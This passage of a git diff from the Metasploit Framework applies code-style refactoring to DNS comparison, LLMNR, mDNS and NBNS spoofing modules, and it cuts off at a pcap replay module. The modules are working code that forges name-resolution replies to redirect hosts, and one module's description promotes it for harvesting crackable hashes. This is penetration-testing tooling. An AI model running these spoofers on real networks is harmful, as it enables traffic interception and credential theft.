servers. This is + primarily useful for detecting cache poisoning attacks, + but can also be used to detect geo-location load balancing. + }, + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'References' => [ ], - 'DisclosureDate' => '2008-07-21' - )) - - register_options( - [ - OptAddress.new('BASEDNS', [ true, 'The DNS cache server to use as a baseline', '4.2.2.3' ]), - OptAddress.new('TARGDNS', [ true, 'The DNS cache server to test', nil ]), - OptString.new('NAMES', [ true, 'The list of host names that should be tested (comma separated)', 'www.google.com,www.yahoo.com,www.msn.com']), - OptBool.new('CHECK_AUTHORITY', [ false, 'Set this to true to verify authority records', false ]), - OptBool.new('CHECK_ADDITIONAL', [ false, 'Set this to true to verify additional records', false ]), + 'DisclosureDate' => '2008-07-21', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) - ]) + register_options( + [ + OptAddress.new('BASEDNS', [ true, 'The DNS cache server to use as a baseline', '4.2.2.3' ]), + OptAddress.new('TARGDNS', [ true, 'The DNS cache server to test', nil ]), + OptString.new('NAMES', [ true, 'The list of host names that should be tested (comma separated)', 'www.google.com,www.yahoo.com,www.msn.com']), + OptBool.new('CHECK_AUTHORITY', [ false, 'Set this to true to verify authority records', false ]), + OptBool.new('CHECK_ADDITIONAL', [ false, 'Set this to true to verify additional records', false ]), + ] + ) end - def run base_addr = datastore['BASEDNS'] targ_addr = datastore['TARGDNS'] - check_ar = datastore['CHECK_ADDITIONAL'] - check_aa = datastore['CHECK_AUTHORITY'] - names = datastore['NAMES'].split(",").map {|c| c.strip } - recurse = true - results = {} + check_ar = datastore['CHECK_ADDITIONAL'] + check_aa = datastore['CHECK_AUTHORITY'] + names = datastore['NAMES'].split(',').map(&:strip) + recurse = true + results = {} print_status("Comparing results between #{base_addr} and #{targ_addr}...") @@ -61,7 +67,7 @@ def run names.each do |entry| entry.strip! - next if (entry.length == 0) + next if entry.empty? req = Resolv::DNS::Message.new req.add_question(entry, Resolv::DNS::Resource::IN::A) @@ -72,12 +78,12 @@ def run base_sock.put(buf) targ_sock.put(buf) - base_res, base_saddr = base_sock.recvfrom(65535, 3.0) - targ_res, targ_saddr = targ_sock.recvfrom(65535, 3.0) + base_res, = base_sock.recvfrom(65535, 3.0) + targ_res, = targ_sock.recvfrom(65535, 3.0) - if !(base_res and targ_res and base_res.length > 0 and targ_res.length > 0) - print_error(" Error: The baseline server did not respond to our request.") if ! (base_res and base_res.length > 0) - print_error(" Error: The target server did not respond to our request.") if ! (targ_res and targ_res.length > 0) + if !(base_res && targ_res && !base_res.empty? && !targ_res.empty?) + print_error(' Error: The baseline server did not respond to our request.') if !(base_res && !base_res.empty?) + print_error(' Error: The target server did not respond to our request.') if !(targ_res && !targ_res.empty?) next end @@ -88,13 +94,13 @@ def run hkey = (res == base_res) ? :base : :targ rrset = res.answer - rrset += res.authority if check_aa + rrset += res.authority if check_aa rrset += res.additional if check_ar - (rrset).each do |ref| - name,ttl,data = ref + rrset.each do |ref| + name, _, data = ref - name = name.to_s + name.to_s anst = data.class.to_s.gsub(/^.*Resolv::DNS::Resource::IN::/, '') case data when Resolv::DNS::Resource::IN::NS @@ -111,40 +117,37 @@ def run data = anst end - results[entry]||={} - results[entry][hkey]||={} - results[entry][hkey][anst]||=[] + results[entry] ||= {} + results[entry][hkey] ||= {} + results[entry][hkey][anst] ||= [] results[entry][hkey][anst] << data end end end - [ base_sock, targ_sock ].each {|s| s.close } - + [ base_sock, targ_sock ].each(&:close) print_status("Analyzing results for #{results.keys.length} entries...") results.each_key do |entry| - n_add = [] n_sub = [] # Look for additional entries in the target NS - if(results[entry][:targ]) + if (results[entry][:targ]) results[entry][:targ].each_key do |rtype| - if(not results[entry][:base] or not results[entry][:base][rtype]) - results[entry][:targ][rtype].sort.each do |ref| - n_sub << (" + #{entry} #{rtype} #{ref}") - end + next unless !(results[entry][:base]) || !(results[entry][:base][rtype]) + + results[entry][:targ][rtype].sort.each do |ref| + n_sub << (" + #{entry} #{rtype} #{ref}") end end end if (results[entry][:base]) results[entry][:base].each_key do |rtype| - # Look for missing entries in the target NS - if(not results[entry][:targ] or not results[entry][:targ][rtype]) + if !(results[entry][:targ]) || !(results[entry][:targ][rtype]) results[entry][:base][rtype].sort.each do |ref| n_sub << (" - #{entry} #{rtype} #{ref}") end @@ -152,24 +155,23 @@ def run end # Look for differences - if( results[entry][:base][rtype].sort != results[entry][:targ][rtype].sort ) - results[entry][:base][rtype].sort.each do |ref| - if(not results[entry][:targ][rtype].include?(ref)) - n_sub << (" - #{entry} #{rtype} #{ref}") - end + next unless (results[entry][:base][rtype].sort != results[entry][:targ][rtype].sort) + + results[entry][:base][rtype].sort.each do |ref| + if !results[entry][:targ][rtype].include?(ref) + n_sub << (" - #{entry} #{rtype} #{ref}") end - results[entry][:targ][rtype].sort.each do |ref| - if(not results[entry][:base][rtype].include?(ref)) - n_add << (" + #{entry} #{rtype} #{ref}") - end + end + results[entry][:targ][rtype].sort.each do |ref| + if !results[entry][:base][rtype].include?(ref) + n_add << (" + #{entry} #{rtype} #{ref}") end end end end - n_sub.each {|s| print_status(s) } - n_add.each {|s| print_status(s) } + n_sub.each { |s| print_status(s) } + n_add.each { |s| print_status(s) } end - end end diff --git a/modules/auxiliary/spoof/dns/native_spoofer.rb b/modules/auxiliary/spoof/dns/native_spoofer.rb index f9973ca222a87..9e096591e3784 100644 --- a/modules/auxiliary/spoof/dns/native_spoofer.rb +++ b/modules/auxiliary/spoof/dns/native_spoofer.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture diff --git a/modules/auxiliary/spoof/llmnr/llmnr_response.rb b/modules/auxiliary/spoof/llmnr/llmnr_response.rb index 9878e63a9ca10..e152d08d2de5c 100644 --- a/modules/auxiliary/spoof/llmnr/llmnr_response.rb +++ b/modules/auxiliary/spoof/llmnr/llmnr_response.rb @@ -9,41 +9,42 @@ class MetasploitModule < Msf::Auxiliary -include Msf::Exploit::Capture - -attr_accessor :sock, :thread + include Msf::Exploit::Capture + attr_accessor :sock, :thread def initialize super( - 'Name' => 'LLMNR Spoofer', + 'Name' => 'LLMNR Spoofer', 'Description' => %q{ LLMNR (Link-local Multicast Name Resolution) is the successor of NetBIOS (Windows Vista and up) and is used to resolve the names of neighboring computers. This module forges LLMNR responses by listening for LLMNR requests sent to the LLMNR multicast address (224.0.0.252) and responding with a user-defined spoofed IP address. }, - 'Author' => [ 'Robin Francois ' ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://www.ietf.org/rfc/rfc4795.txt' ] - ], - - 'Actions' => - [ - [ 'Service', 'Description' => 'Run LLMNR spoofing service' ] - ], - 'PassiveActions' => - [ - 'Service' - ], - 'DefaultAction' => 'Service' + 'Author' => [ 'Robin Francois ' ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'http://www.ietf.org/rfc/rfc4795.txt' ] + ], + + 'Actions' => [ + [ 'Service', { 'Description' => 'Run LLMNR spoofing service' } ] + ], + 'PassiveActions' => [ + 'Service' + ], + 'DefaultAction' => 'Service', + 'Notes' => { + 'Stability' => [OS_RESOURCE_LOSS], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } ) register_options([ - OptAddress.new('SPOOFIP', [ true, "IP address with which to poison responses", ""]), - OptRegexp.new('REGEX', [ true, "Regex applied to the LLMNR Name to determine if spoofed reply is sent", '.*']), - OptInt.new('TTL', [ false, "Time To Live for the spoofed response", 30]), + OptAddress.new('SPOOFIP', [ true, 'IP address with which to poison responses', '']), + OptRegexp.new('REGEX', [ true, 'Regex applied to the LLMNR Name to determine if spoofed reply is sent', '.*']), + OptInt.new('TTL', [ false, 'Time To Live for the spoofed response', 30]), ]) deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER') @@ -83,35 +84,35 @@ def dispatch_request(packet, rhost, src_port) case question.qType.to_i when ::Net::DNS::A dns_pkt.answer << ::Net::DNS::RR::A.new( - :name => name, - :ttl => datastore['TTL'], - :cls => ::Net::DNS::IN, - :type => ::Net::DNS::A, - :address => spoof.to_s + name: name, + ttl: datastore['TTL'], + cls: ::Net::DNS::IN, + type: ::Net::DNS::A, + address: spoof.to_s ) when ::Net::DNS::AAAA dns_pkt.answer << ::Net::DNS::RR::AAAA.new( - :name => name, - :ttl => datastore['TTL'], - :cls => ::Net::DNS::IN, - :type => ::Net::DNS::AAAA, - :address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s + name: name, + ttl: datastore['TTL'], + cls: ::Net::DNS::IN, + type: ::Net::DNS::AAAA, + address: (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s ) when ::Net::DNS::ANY # For ANY queries, respond with both an A record as well as an AAAA. dns_pkt.answer << ::Net::DNS::RR::A.new( - :name => name, - :ttl => datastore['TTL'], - :cls => ::Net::DNS::IN, - :type => ::Net::DNS::A, - :address => spoof.to_s + name: name, + ttl: datastore['TTL'], + cls: ::Net::DNS::IN, + type: ::Net::DNS::A, + address: spoof.to_s ) dns_pkt.answer << ::Net::DNS::RR::AAAA.new( - :name => name, - :ttl => datastore['TTL'], - :cls => ::Net::DNS::IN, - :type => ::Net::DNS::AAAA, - :address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s + name: name, + ttl: datastore['TTL'], + cls: ::Net::DNS::IN, + type: ::Net::DNS::AAAA, + address: (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s ) when ::Net::DNS::PTR # Sometimes PTR queries are received. We will silently ignore them. @@ -127,28 +128,28 @@ def dispatch_request(packet, rhost, src_port) return if dns_pkt.answer.empty? udp = ::PacketFu::UDPHeader.new( - :udp_src => 5355, - :udp_dst => src_port, - :body => dns_pkt.data + udp_src: 5355, + udp_dst: src_port, + body: dns_pkt.data ) udp.udp_recalc if rhost.ipv4? ip_pkt = ::PacketFu::IPPacket.new( - :ip_src => spoof.hton, - :ip_dst => rhost.hton, - :ip_proto => 0x11, # UDP - :body => udp + ip_src: spoof.hton, + ip_dst: rhost.hton, + ip_proto: 0x11, # UDP + body: udp ) elsif rhost.ipv6? ip_pkt = ::PacketFu::IPv6Packet.new( - :ipv6_src => spoof.hton, - :ipv6_dst => rhost.hton, - :ip_proto => 0x11, # UDP - :body => udp + ipv6_src: spoof.hton, + ipv6_dst: rhost.hton, + ip_proto: 0x11, # UDP + body: udp ) else # Should never get here - print_error("IP version is not 4 or 6. Failed to parse?") + print_error('IP version is not 4 or 6. Failed to parse?') return end ip_pkt.recalc @@ -157,21 +158,20 @@ def dispatch_request(packet, rhost, src_port) end def monitor_socket - while true - rds = [self.sock] + loop do + rds = [sock] wds = [] - eds = [self.sock] + eds = [sock] - r,_,_ = ::IO.select(rds,wds,eds,0.25) + r, = ::IO.select(rds, wds, eds, 0.25) - if (r != nil and r[0] == self.sock) - packet, host, port = self.sock.recvfrom(65535) + if !r.nil? && (r[0] == sock) + packet, host, port = sock.recvfrom(65535) dispatch_request(packet, host, port) end end end - # Don't spam with success, just throttle to every 10 seconds # per host def should_print_reply?(host) @@ -179,7 +179,7 @@ def should_print_reply?(host) now = Time.now.utc @notified_times[host] ||= now last_notified = now - @notified_times[host] - if last_notified == 0 or last_notified > 10 + if (last_notified == 0) || (last_notified > 10) @notified_times[host] = now else false @@ -187,48 +187,52 @@ def should_print_reply?(host) end def run - check_pcaprub_loaded() - ::Socket.do_not_reverse_lookup = true # Mac OS X workaround + check_pcaprub_loaded + ::Socket.do_not_reverse_lookup = true # Mac OS X workaround # Avoid receiving extraneous traffic on our send socket - open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'}) + open_pcap({ 'FILTER' => 'ether host f0:f0:f0:f0:f0:f0' }) # Multicast Address for LLMNR - multicast_addr = ::IPAddr.new("224.0.0.252") + multicast_addr = ::IPAddr.new('224.0.0.252') # The bind address here will determine which interface we receive # multicast packets from. If the address is INADDR_ANY, we get them # from all interfaces, so try to restrict if we can, but fall back # if we can't - bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0" + bind_addr = begin + get_ipv4_addr(datastore['INTERFACE']) + rescue StandardError + '0.0.0.0' + end optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton self.sock = Rex::Socket.create_udp( # This must be INADDR_ANY to receive multicast packets - 'LocalHost' => "0.0.0.0", + 'LocalHost' => '0.0.0.0', 'LocalPort' => 5355, - 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) - self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) - self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval) + sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) + sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval) - self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) { + self.thread = Rex::ThreadFactory.spawn('LLMNRServerMonitor', false) do monitor_socket - } + end print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...") - add_socket(self.sock) + add_socket(sock) - self.thread.join + thread.join end def cleanup - if self.thread and self.thread.alive? - self.thread.kill + if thread && thread.alive? + thread.kill self.thread = nil end - self.sock.close + sock.close close_pcap end end diff --git a/modules/auxiliary/spoof/mdns/mdns_response.rb b/modules/auxiliary/spoof/mdns/mdns_response.rb index 5509e3695fb9e..09adf15590a81 100644 --- a/modules/auxiliary/spoof/mdns/mdns_response.rb +++ b/modules/auxiliary/spoof/mdns/mdns_response.rb @@ -9,40 +9,41 @@ class MetasploitModule < Msf::Auxiliary -include Msf::Exploit::Capture - -attr_accessor :sock, :thread + include Msf::Exploit::Capture + attr_accessor :sock, :thread def initialize super( - 'Name' => 'mDNS Spoofer', + 'Name' => 'mDNS Spoofer', 'Description' => %q{ This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex). }, - 'Author' => [ 'Joe Testa ', 'James Lee ', 'Robin Francois ' ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'https://tools.ietf.org/html/rfc6762' ] - ], - - 'Actions' => - [ - [ 'Service', 'Description' => 'Run mDNS spoofing service' ] - ], - 'PassiveActions' => - [ - 'Service' - ], - 'DefaultAction' => 'Service' + 'Author' => [ 'Joe Testa ', 'James Lee ', 'Robin Francois ' ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'https://tools.ietf.org/html/rfc6762' ] + ], + + 'Actions' => [ + [ 'Service', { 'Description' => 'Run mDNS spoofing service' } ] + ], + 'PassiveActions' => [ + 'Service' + ], + 'DefaultAction' => 'Service', + 'Notes' => { + 'Stability' => [SERVICE_RESOURCE_LOSS], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } ) register_options([ - OptAddress.new('SPOOFIP4', [ true, "IPv4 address with which to spoof A-record queries", ""]), - OptAddress.new('SPOOFIP6', [ false, "IPv6 address with which to spoof AAAA-record queries", ""]), - OptRegexp.new('REGEX', [ true, "Regex applied to the mDNS to determine if spoofed reply is sent", '.*']), - OptInt.new('TTL', [ false, "Time To Live for the spoofed response (in seconds)", 120]), + OptAddress.new('SPOOFIP4', [ true, 'IPv4 address with which to spoof A-record queries', '']), + OptAddress.new('SPOOFIP6', [ false, 'IPv6 address with which to spoof AAAA-record queries', '']), + OptRegexp.new('REGEX', [ true, 'Regex applied to the mDNS to determine if spoofed reply is sent', '.*']), + OptInt.new('TTL', [ false, 'Time To Live for the spoofed response (in seconds)', 120]), ]) deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER') @@ -64,12 +65,16 @@ def dispatch_request(packet, rhost, src_port) dns_pkt = nil begin dns_pkt = ::Net::DNS::Packet.parse(packet) - rescue + rescue StandardError return end spoof4 = ::IPAddr.new(datastore['SPOOFIP4']) - spoof6 = ::IPAddr.new(datastore['SPOOFIP6']) rescue '' + spoof6 = begin + ::IPAddr.new(datastore['SPOOFIP6']) + rescue StandardError + '' + end # Turn this packet into an authoritative response. dns_pkt.header.qr = 1 @@ -78,11 +83,9 @@ def dispatch_request(packet, rhost, src_port) qm = true dns_pkt.question.each do |question| name = question.qName - if datastore['REGEX'] != '.*' - unless name =~ /#{datastore['REGEX']}/i - vprint_status("#{rhost.to_s.ljust 16} mDNS - #{name} did not match REGEX \"#{datastore['REGEX']}\"") - next - end + if datastore['REGEX'] != '.*' && name !~ /#{datastore['REGEX']}/i + vprint_status("#{rhost.to_s.ljust 16} mDNS - #{name} did not match REGEX \"#{datastore['REGEX']}\"") + next end # Check if the query is the "QU" type, which implies that we need to send a unicast response, instead of a multicast response. @@ -96,21 +99,21 @@ def dispatch_request(packet, rhost, src_port) case question.qType.to_i when ::Net::DNS::A dns_pkt.answer << ::Net::DNS::RR::A.new( - :name => name, - :ttl => datastore['TTL'], - :cls => 0x8001, # Class IN, with flush cache flag - :type => ::Net::DNS::A, - :address => spoof4.to_s + name: name, + ttl: datastore['TTL'], + cls: 0x8001, # Class IN, with flush cache flag + type: ::Net::DNS::A, + address: spoof4.to_s ) responding_with = spoof4.to_s when ::Net::DNS::AAAA if spoof6 != '' dns_pkt.answer << ::Net::DNS::RR::AAAA.new( - :name => name, - :ttl => datastore['TTL'], - :cls => 0x8001, # Class IN, with flush cache flag - :type => ::Net::DNS::AAAA, - :address => spoof6.to_s + name: name, + ttl: datastore['TTL'], + cls: 0x8001, # Class IN, with flush cache flag + type: ::Net::DNS::AAAA, + address: spoof6.to_s ) responding_with = spoof6.to_s end @@ -120,13 +123,13 @@ def dispatch_request(packet, rhost, src_port) end # If we are responding to this query, and we haven't spammed stdout recently, print a notification. - if not responding_with.nil? and should_print_reply?(name) + if !responding_with.nil? && should_print_reply?(name) print_good("#{rhost.to_s.ljust 16} mDNS - #{name} matches regex, responding with #{responding_with}") end end # Clear the questions from the responses. They aren't observed in legit responses. - dns_pkt.question.clear() + dns_pkt.question.clear # If we didn't find anything we want to spoof, don't send any # packets @@ -134,11 +137,11 @@ def dispatch_request(packet, rhost, src_port) begin udp = ::PacketFu::UDPHeader.new( - :udp_src => 5353, - :udp_dst => src_port, - :body => dns_pkt.data + udp_src: 5353, + udp_dst: src_port, + body: dns_pkt.data ) - rescue + rescue StandardError return end udp.udp_recalc @@ -150,24 +153,24 @@ def dispatch_request(packet, rhost, src_port) dst = ::IPAddr.new('224.0.0.251') end ip_pkt = ::PacketFu::IPPacket.new( - :ip_src => spoof4.hton, - :ip_dst => dst.hton, - :ip_proto => 0x11, # UDP - :body => udp + ip_src: spoof4.hton, + ip_dst: dst.hton, + ip_proto: 0x11, # UDP + body: udp ) elsif rhost.ipv6? if qm dst = ::IPAddr.new('ff02::fb') end ip_pkt = ::PacketFu::IPv6Packet.new( - :ipv6_src => spoof6.hton, - :ipv6_dst => dst.hton, - :ip_proto => 0x11, # UDP - :body => udp + ipv6_src: spoof6.hton, + ipv6_dst: dst.hton, + ip_proto: 0x11, # UDP + body: udp ) else # Should never get here - print_error("IP version is not 4 or 6. Failed to parse?") + print_error('IP version is not 4 or 6. Failed to parse?') return end ip_pkt.recalc @@ -176,21 +179,20 @@ def dispatch_request(packet, rhost, src_port) end def monitor_socket - while true - rds = [self.sock] + loop do + rds = [sock] wds = [] - eds = [self.sock] + eds = [sock] - r,_,_ = ::IO.select(rds,wds,eds,0.25) + r, = ::IO.select(rds, wds, eds, 0.25) - if (r != nil and r[0] == self.sock) - packet, host, port = self.sock.recvfrom(65535) + if !r.nil? && (r[0] == sock) + packet, host, port = sock.recvfrom(65535) dispatch_request(packet, host, port) end end end - # Don't spam with success, just throttle to every 10 seconds # per host def should_print_reply?(host) @@ -198,7 +200,7 @@ def should_print_reply?(host) now = Time.now.utc @notified_times[host] ||= now last_notified = now - @notified_times[host] - if last_notified == 0 or last_notified > 10 + if (last_notified == 0) || (last_notified > 10) @notified_times[host] = now else false @@ -206,48 +208,52 @@ def should_print_reply?(host) end def run - check_pcaprub_loaded() - ::Socket.do_not_reverse_lookup = true # Mac OS X workaround + check_pcaprub_loaded + ::Socket.do_not_reverse_lookup = true # Mac OS X workaround # Avoid receiving extraneous traffic on our send socket - open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'}) + open_pcap({ 'FILTER' => 'ether host f0:f0:f0:f0:f0:f0' }) # Multicast Address for LLMNR - multicast_addr = ::IPAddr.new("224.0.0.251") + multicast_addr = ::IPAddr.new('224.0.0.251') # The bind address here will determine which interface we receive # multicast packets from. If the address is INADDR_ANY, we get them # from all interfaces, so try to restrict if we can, but fall back # if we can't - bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0" + bind_addr = begin + get_ipv4_addr(datastore['INTERFACE']) + rescue StandardError + '0.0.0.0' + end optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton self.sock = Rex::Socket.create_udp( # This must be INADDR_ANY to receive multicast packets - 'LocalHost' => "0.0.0.0", + 'LocalHost' => '0.0.0.0', 'LocalPort' => 5353, - 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) - self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) - self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval) + sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) + sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval) - self.thread = Rex::ThreadFactory.spawn("MDNSServerMonitor", false) { + self.thread = Rex::ThreadFactory.spawn('MDNSServerMonitor', false) do monitor_socket - } + end print_status("mDNS spoofer started. Listening for mDNS requests with REGEX \"#{datastore['REGEX']}\" ...") - add_socket(self.sock) + add_socket(sock) - self.thread.join + thread.join end def cleanup - if self.thread and self.thread.alive? - self.thread.kill + if thread && thread.alive? + thread.kill self.thread = nil end - self.sock.close + sock.close close_pcap end end diff --git a/modules/auxiliary/spoof/nbns/nbns_response.rb b/modules/auxiliary/spoof/nbns/nbns_response.rb index c1f7a263c9cba..51e9af41cfe86 100644 --- a/modules/auxiliary/spoof/nbns/nbns_response.rb +++ b/modules/auxiliary/spoof/nbns/nbns_response.rb @@ -3,44 +3,46 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture attr_accessor :sock, :thread - def initialize super( - 'Name' => 'NetBIOS Name Service Spoofer', - 'Description' => %q{ - This module forges NetBIOS Name Service (NBNS) responses. It will listen for NBNS requests - sent to the local subnet's broadcast address and spoof a response, redirecting the querying - machine to an IP of the attacker's choosing. Combined with auxiliary/server/capture/smb or - auxiliary/server/capture/http_ntlm it is a highly effective means of collecting crackable hashes on - common networks. - - This module must be run as root and will bind to udp/137 on all interfaces. + 'Name' => 'NetBIOS Name Service Spoofer', + 'Description' => %q{ + This module forges NetBIOS Name Service (NBNS) responses. It will listen for NBNS requests + sent to the local subnet's broadcast address and spoof a response, redirecting the querying + machine to an IP of the attacker's choosing. Combined with auxiliary/server/capture/smb or + auxiliary/server/capture/http_ntlm it is a highly effective means of collecting crackable + hashes on common networks. + + This module must be run as root and will bind to udp/137 on all interfaces. }, - 'Author' => [ 'Tim Medin ' ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html' ] - ], - 'Actions' => - [ - [ 'Service', 'Description' => 'Run NBNS spoofing service' ] - ], - 'PassiveActions' => - [ - 'Service' - ], - 'DefaultAction' => 'Service' + 'Author' => [ 'Tim Medin ' ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html' ] + ], + 'Actions' => [ + [ 'Service', { 'Description' => 'Run NBNS spoofing service' } ] + ], + 'PassiveActions' => [ + 'Service' + ], + 'DefaultAction' => 'Service', + 'Notes' => { + 'Stability' => [SERVICE_RESOURCE_LOSS], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } ) register_options([ - OptAddress.new('SPOOFIP', [ true, "IP address with which to poison responses", "127.0.0.1"]), - OptRegexp.new('REGEX', [ true, "Regex applied to the NB Name to determine if spoofed reply is sent", '.*']), + OptAddress.new('SPOOFIP', [ true, 'IP address with which to poison responses', '127.0.0.1']), + OptRegexp.new('REGEX', [ true, 'Regex applied to the NB Name to determine if spoofed reply is sent', '.*']), ]) deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER') @@ -62,22 +64,22 @@ def dispatch_request(packet, rhost, src_port) spoof = ::IPAddr.new(datastore['SPOOFIP']) - return if packet.length == 0 + return if packet.empty? - nbnsq_transid = packet[0..1] - nbnsq_flags = packet[2..3] - nbnsq_questions = packet[4..5] - nbnsq_answerrr = packet[6..7] - nbnsq_authorityrr = packet[8..9] + nbnsq_transid = packet[0..1] + nbnsq_flags = packet[2..3] + nbnsq_questions = packet[4..5] + nbnsq_answerrr = packet[6..7] + nbnsq_authorityrr = packet[8..9] nbnsq_additionalrr = packet[10..11] - nbnsq_name = packet[12..45] - decoded = "" + nbnsq_name = packet[12..45] + decoded = '' nbnsq_name.slice(1..-2).each_byte do |c| - decoded << "#{(c - 65).to_s(16)}" + decoded << (c - 65).to_s(16).to_s end - nbnsq_decodedname = "#{[decoded].pack('H*')}".strip() - nbnsq_type = packet[46..47] - nbnsq_class = packet[48..49] + nbnsq_decodedname = [decoded].pack('H*').to_s.strip + nbnsq_type = packet[46..47] + nbnsq_class = packet[48..49] return unless nbnsq_decodedname =~ /#{datastore['REGEX'].source}/i @@ -98,18 +100,18 @@ def dispatch_request(packet, rhost, src_port) # time to build a response packet - Oh YEAH! response = nbnsq_transid + - "\x85\x00" + # Flags = response + authoritative + recursion desired + - "\x00\x00" + # Questions = 0 - "\x00\x01" + # Answer RRs = 1 - "\x00\x00" + # Authority RRs = 0 - "\x00\x00" + # Additional RRs = 0 - nbnsq_name + # original query name - nbnsq_type + # Type = NB ...whatever that means - nbnsq_class+ # Class = IN - "\x00\x04\x93\xe0" + # TTL = a long ass time - "\x00\x06" + # Datalength = 6 - "\x00\x00" + # Flags B-node, unique = whatever that means - spoof.hton + "\x85\x00" + # Flags = response + authoritative + recursion desired + + "\x00\x00" + # Questions = 0 + "\x00\x01" + # Answer RRs = 1 + "\x00\x00" + # Authority RRs = 0 + "\x00\x00" + # Additional RRs = 0 + nbnsq_name + # original query name + nbnsq_type + # Type = NB ...whatever that means + nbnsq_class+ # Class = IN + "\x00\x04\x93\xe0" + # TTL = a long ass time + "\x00\x06" + # Datalength = 6 + "\x00\x00" + # Flags B-node, unique = whatever that means + spoof.hton pkt = PacketFu::UDPPacket.new pkt.ip_saddr = Rex::Socket.source_address(rhost) @@ -124,56 +126,54 @@ def dispatch_request(packet, rhost, src_port) end def monitor_socket - while true - rds = [self.sock] + loop do + rds = [sock] wds = [] - eds = [self.sock] + eds = [sock] - r,_,_ = ::IO.select(rds,wds,eds,0.25) - if (r != nil and r[0] == self.sock) - packet, host, port = self.sock.recvfrom(65535) + r, = ::IO.select(rds, wds, eds, 0.25) + if !r.nil? && (r[0] == sock) + packet, host, port = sock.recvfrom(65535) dispatch_request(packet, host, port) end end end def run - check_pcaprub_loaded() - ::Socket.do_not_reverse_lookup = true # Mac OS X workaround + check_pcaprub_loaded + ::Socket.do_not_reverse_lookup = true # Mac OS X workaround # Avoid receiving extraneous traffic on our send socket - open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'}) + open_pcap({ 'FILTER' => 'ether host f0:f0:f0:f0:f0:f0' }) self.sock = Rex::Socket.create_udp( - 'LocalHost' => "0.0.0.0", + 'LocalHost' => '0.0.0.0', 'LocalPort' => 137, - 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) - add_socket(self.sock) - self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) - - self.thread = Rex::ThreadFactory.spawn("NBNSServerMonitor", false) { - begin - monitor_socket - rescue ::Interrupt - raise $! - rescue ::Exception - print_error("Error: #{$!.class} #{$!} #{$!.backtrace}") - end - } + add_socket(sock) + sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) + + self.thread = Rex::ThreadFactory.spawn('NBNSServerMonitor', false) do + monitor_socket + rescue ::Interrupt + raise $ERROR_INFO + rescue StandardError + print_error("Error: #{$ERROR_INFO.class} #{$ERROR_INFO} #{$ERROR_INFO.backtrace}") + end print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX'].source}\" ...") - self.thread.join - print_status("NBNS Monitor thread exited...") + thread.join + print_status('NBNS Monitor thread exited...') end def cleanup - if self.thread and self.thread.alive? - self.thread.kill + if thread && thread.alive? + thread.kill self.thread = nil end - self.sock.close + sock.close close_pcap end end diff --git a/modules/auxiliary/spoof/replay/pcap_replay.rb b/modules/auxiliary/spoof/replay/pcap_replay.rb index 3ed64fb50e5df..8cd77378b7177 100644 --- a/modules/auxiliary/spoof/replay/pcap_replay.rb +++ b/modules/auxiliary/spoof/replay/pcap_replay.rb @@ -8,47 +8,57 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Pcap Replay Utility', + 'Name' => 'Pcap Replay Utility', 'Description' => %q{ - Replay a pcap capture file + Replay a packet capture (PCAP) file. }, - 